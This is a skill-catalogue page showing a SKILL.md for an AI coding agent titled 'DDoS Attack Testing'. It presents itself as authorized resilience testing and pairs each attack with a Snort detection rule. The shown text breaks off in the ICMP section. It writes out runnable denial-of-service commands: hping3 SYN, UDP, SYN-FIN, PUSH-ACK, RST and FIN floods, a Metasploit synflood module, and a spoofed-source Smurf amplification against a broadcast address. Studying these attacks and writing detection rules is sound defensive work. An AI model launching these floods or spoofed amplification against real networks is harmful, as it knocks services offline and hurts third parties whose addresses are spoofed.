Command Palette

Search for a command to run...

UnylyUnyly
Назад к скиллам

DDoS Attack Testing

БесплатноБез исполняемых скриптовНе проверен

This skill should be used when the user asks to "test for DDoS vulnerabilities", "perform denial of service testing", "simulate traffic floods", "assess…

zebbernот zebbern★ 34 звезды на GitHub11 установок в других каталогах

Об этом скилле

DDoS Attack Testing

Purpose

Conduct authorized denial of service testing to assess network resilience and configure intrusion detection systems (IDS) to detect and alert on various DoS attack patterns. This skill covers volume-based, protocol-based, and application-layer attacks using command-line and GUI tools, along with Snort IDS rule configuration for detection.

Prerequisites

Required Tools

# Hping3 - packet crafting and flooding
sudo apt-get install hping3

# LOIC/HOIC - GUI-based stress testing
# Download from authorized sources only

# Slowloris - Application layer testing
git clone https://github.com/gkbrk/slowloris

# Snort IDS - Detection
sudo apt-get install snort

# Wireshark - Traffic analysis
sudo apt-get install wireshark

Required Knowledge

  • TCP/IP protocol fundamentals
  • OSI model layers
  • Network traffic analysis
  • IDS/IPS configuration

Required Access

  • Written authorization for testing
  • Isolated test network environment
  • Administrative access on target systems
  • IDS/Snort configuration access

Outputs and Deliverables

  1. Resilience Assessment Report - Document network response to stress testing
  2. IDS Rule Configuration - Snort rules for attack detection
  3. Attack Pattern Analysis - Traffic captures and signatures
  4. Mitigation Recommendations - DDoS protection strategies

Core Workflow

Phase 1: Understanding DDoS Categories

Identify the attack category based on target:

Volume Based Attacks:
- Objective: Flood bandwidth with traffic
- Metrics: Bits per second (bps)
- Examples: UDP flood, ICMP flood
- Target: Network bandwidth

Protocol Based Attacks:
- Objective: Exhaust server resources
- Metrics: Packets per second (pps)
- Examples: SYN flood, Ping of Death
- Target: Connection state tables

Application Layer Attacks:
- Objective: Crash specific applications
- Metrics: Requests per second (rps)
- Examples: HTTP flood, Slowloris
- Target: Web servers, applications

Phase 2: TCP SYN Flood Testing

Test network resilience to SYN flood attacks:

# Using Hping3
hping3 -S --flood -p 80 192.168.1.107

# Options:
# -S     : Set SYN flag
# --flood: Send packets as fast as possible
# -p 80  : Target port 80

# Using Metasploit
msfconsole
use auxiliary/dos/tcp/synflood
set RHOST 192.168.1.107
set SHOST 192.168.1.105
set RPORT 80
exploit

Configure Snort detection rule:

# Edit local rules
sudo gedit /etc/snort/rules/local.rules

# Add SYN flood detection rule
alert tcp any any -> 192.168.1.107 any (msg:"SYN Flood DoS"; flags:S; sid:1000006; threshold:type threshold, track by_src, count 100, seconds 1;)

# Start Snort in IDS mode
sudo snort -A console -q -u snort -g snort -c /etc/snort/snort.conf -i eth0

Phase 3: UDP Flood Testing

Test network against UDP flood attacks:

# Using Hping3
hping3 --udp --flood -p 80 192.168.1.107

# Options:
# --udp   : Use UDP protocol
# --flood : Maximum packet rate
# -p 80   : Target port

# Specify data size
hping3 --udp --flood -p 53 -d 1000 192.168.1.107
# -d 1000 : 1000 bytes of data per packet

Configure Snort detection rule:

# UDP flood detection rule
alert udp any any -> 192.168.1.107 any (msg:"UDP Flood DoS"; sid:1000001; threshold:type threshold, track by_src, count 100, seconds 1;)

Phase 4: SYN-FIN Flood Testing

Test with invalid flag combinations:

# SYN-FIN flood
hping3 -SF --flood -p 80 192.168.1.107

# Options:
# -S : SYN flag
# -F : FIN flag
# Combined creates invalid packet

Detection is built into Snort for anomalous flag combinations.

Phase 5: PUSH-ACK Flood Testing

Test with PSH-ACK packet flood:

# PUSH-ACK flood
hping3 -PA --flood -p 80 192.168.1.107

# Options:
# -P : PSH flag
# -A : ACK flag

Configure Snort detection rule:

# PUSH-ACK flood detection
alert tcp any any -> 192.168.1.107 any (msg:"PUSH-ACK Flood DoS"; flags:PA; sid:1000002; threshold:type threshold, track by_src, count 100, seconds 1;)

Phase 6: RST Flood Testing

Test with TCP reset packet flood:

# RST flood
hping3 -R --flood -p 80 192.168.1.107

# Options:
# -R : RST flag

Configure Snort detection rule:

# RST flood detection
alert tcp any any -> 192.168.1.107 any (msg:"RST Flood DoS"; flags:R; sid:1000003;)

Phase 7: FIN Flood Testing

Test with FIN packet flood:

# FIN flood
hping3 -F --flood -p 80 192.168.1.107

# Options:
# -F : FIN flag

Configure Snort detection rule:

# FIN flood detection
alert tcp any any -> 192.168.1.107 any (msg:"FIN Flood DoS"; flags:F; sid:1000004;)

Phase 8: ICMP Smurf Attack

Test amplification attack scenario:

# Smurf attack simulation
hping3 --icmp --flood 192.168.1.255 -a 192.168.1.107

# Options:
# --icmp : Use ICMP protocol
# -a     : Spoof source address (victim)
# Target : Broadcast address

# All hosts reply to victim's spoofed address

Configure Snort detection rule:

# IC
Полный SKILL.md на GitHub

Установить DDoS Attack Testing в Claude Code и Claude Desktop

Зарегайся, чтобы установить скилл

Создай бесплатный аккаунт, чтобы открыть команду установки и сохранить скилл в библиотеку.

  • Открой команду установки в одну строку
  • Сохраняй скиллы в синхронизируемую библиотеку
  • Уведомления, когда скиллы обновляются
Зарегаться бесплатноУ меня уже есть аккаунт

Разрешённые инструменты

Инструменты, которые скиллу разрешено вызывать.

Без ограничений — скилл может использовать любой инструмент.

FAQ

Что делает скилл DDoS Attack Testing?

This skill should be used when the user asks to "test for DDoS vulnerabilities", "perform denial of service testing", "simulate traffic floods", "assess network resilience", "configure DDoS detection rules", or "analyze DoS attack patterns". It provides comprehensive techniques for authorized DDoS testing and detection configuration.

Как установить скилл DDoS Attack Testing?

Скопируй папку скилла в ~/.claude/skills (вкладка Claude Code выше делает это одной командой), либо поставь как плагин.

Скилл DDoS Attack Testing запускает скрипты?

Нет, скилл состоит только из инструкций (SKILL.md), без исполняемых скриптов.

Похожие скиллы

Сравнить DDoS Attack Testing с